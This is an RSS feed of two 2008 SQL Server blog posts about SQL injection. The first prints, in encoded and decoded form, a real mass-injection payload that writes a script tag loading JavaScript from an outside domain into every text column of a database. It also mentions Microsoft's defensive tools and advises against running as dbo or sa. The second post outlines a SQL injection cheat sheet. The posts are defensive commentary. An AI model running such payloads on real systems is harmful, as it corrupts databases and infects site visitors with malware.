<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://sqlblog.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Denis Gobo : SQL Injection</title><link>http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx</link><description>Tags: SQL Injection</description><dc:language>en</dc:language><generator>CommunityServer 2.1 SP2 (Build: 61129.1)</generator><item><title>Microsoft Releases Tools To Address SQL Injection Attacks</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx</link><pubDate>Wed, 25 Jun 2008 12:58:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:7491</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>11</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/7491.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=7491</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=7491</wfw:comment><description>Remember the post by Aaron Bertrand titled &lt;A id=bp___v___ctl00_ctl00_bcr_r___postlist___EntryItems_ctl09_PostTitle href="http://sqlblog.com/blogs/aaron_bertrand/archive/2008/04/26/call-a-spade-a-spade.aspx"&gt;Call a spade a spade! (SQL injection, or IIS vulnerability?)&lt;/A&gt;? Microsoft has released 3 tools that deal with this SQL injection. 
&lt;P&gt;These three tools include &lt;A class=external-link href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx"&gt;&lt;FONT color=#0048c0&gt;HP Scrawlr &lt;/FONT&gt;&lt;/A&gt;, &lt;A class=external-link href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;&lt;FONT color=#0048c0&gt;UrlScan version 3.0 Beta &lt;/FONT&gt;&lt;/A&gt;, and &lt;A class=external-link href="http://support.microsoft.com/kb/954476"&gt;&lt;FONT color=#0048c0&gt;a SQL Source Code Analysis Tool&lt;/FONT&gt;&lt;/A&gt;. Microsoft further recommends following the best practices found within advisory &lt;A class=external-link href="http://www.microsoft.com/technet/security/advisory/954462.mspx"&gt;&lt;FONT color=#0048c0&gt;954462&lt;/FONT&gt;&lt;/A&gt;. &lt;/P&gt;
&lt;P&gt;Most of the sites affected had this submitted as part of the injection&amp;nbsp;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4&lt;/SPAN&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;&amp;nbsp;C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S); &lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;This is of course done so that you can't see the real SQL and then you can't check for&amp;nbsp;DROP, UPDATE and other DDL and DML commands&amp;nbsp;&lt;/P&gt;
&lt;P&gt;So what does this look like when you replace %20 with a space and exec with print?&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#0000ff&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;DECLARE&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;CURSOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; sysobjects a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;syscolumns b &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHERE&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'u'&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;99 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;35 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;231 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;167&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;OPEN&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHILE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;@@FETCH_STATUS&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;BEGIN&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;EXEC&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'UPDATE ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'] SET ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']=RTRIM(CONVERT(VARCHAR(4000),['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']))+''&amp;lt;script src=http://www.chkbnr.com/b.js&amp;gt;&amp;lt;/script&amp;gt;'''&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT size=2&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;END&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;CLOSE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;DEALLOCATE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Somehow I think this could have been written set based&amp;nbsp; :-)&lt;/P&gt;
&lt;P&gt;The problem is of course that you should never ever run as dbo or even worse&amp;nbsp;sa.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7491" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx">SQL Injection</category></item><item><title>SQL Injection Cheat Sheet</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2007/09/19/2600.aspx</link><pubDate>Wed, 19 Sep 2007 14:33:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:2600</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>2</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/2600.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=2600</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=2600</wfw:comment><description>&lt;P&gt;What is SQL Injection? From &lt;A class="" href="http://en.wikipedia.org/wiki/SQL_injection"&gt;wikipedia&lt;/A&gt;: &lt;STRONG&gt;SQL injection&lt;/STRONG&gt; is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed&lt;/P&gt;
&lt;P&gt;Here is a nice SQL injection cheat sheet. Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;A href="http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/"&gt;http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Table Of Contents&lt;/STRONG&gt; &lt;BR&gt;&amp;nbsp;About SQL Injection Cheat Sheet &lt;BR&gt;&amp;nbsp;Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks &lt;/P&gt;
&lt;P&gt;Line Comments &lt;BR&gt;&amp;nbsp;SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;Inline Comments &lt;BR&gt;&amp;nbsp;Classical Inline Comment SQL Injection Attack Samples &lt;BR&gt;&amp;nbsp;MySQL Version Detection Sample Attacks &lt;/P&gt;
&lt;P&gt;Stacking Queries &lt;BR&gt;&amp;nbsp;Language / Database Stacked Query Support Table &lt;BR&gt;&amp;nbsp;About MySQL and PHP &lt;BR&gt;&amp;nbsp;Stacked SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;If Statements &lt;BR&gt;&amp;nbsp;MySQL If Statement &lt;BR&gt;&amp;nbsp;SQL Server If Statement &lt;BR&gt;&amp;nbsp;If Statement SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;Using Integers &lt;/P&gt;
&lt;P&gt;String&amp;nbsp; Operations &lt;BR&gt;&amp;nbsp;String Concatenation &lt;/P&gt;
&lt;P&gt;Strings without Quotes &lt;BR&gt;&amp;nbsp;Hex based SQL Injection Samples &lt;/P&gt;
&lt;P&gt;String Modification &amp;amp; Related &lt;/P&gt;
&lt;P&gt;Union Injections &lt;BR&gt;&amp;nbsp;UNION – Fixing Language Issues &lt;/P&gt;
&lt;P&gt;Bypassing Login Screens &lt;/P&gt;
&lt;P&gt;Enabling xp_cmdshell in SQL Server 2005 &lt;BR&gt;Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see. &lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=2600" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Best+Practices/default.aspx">Best Practices</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx">SQL Injection</category></item></channel></rss>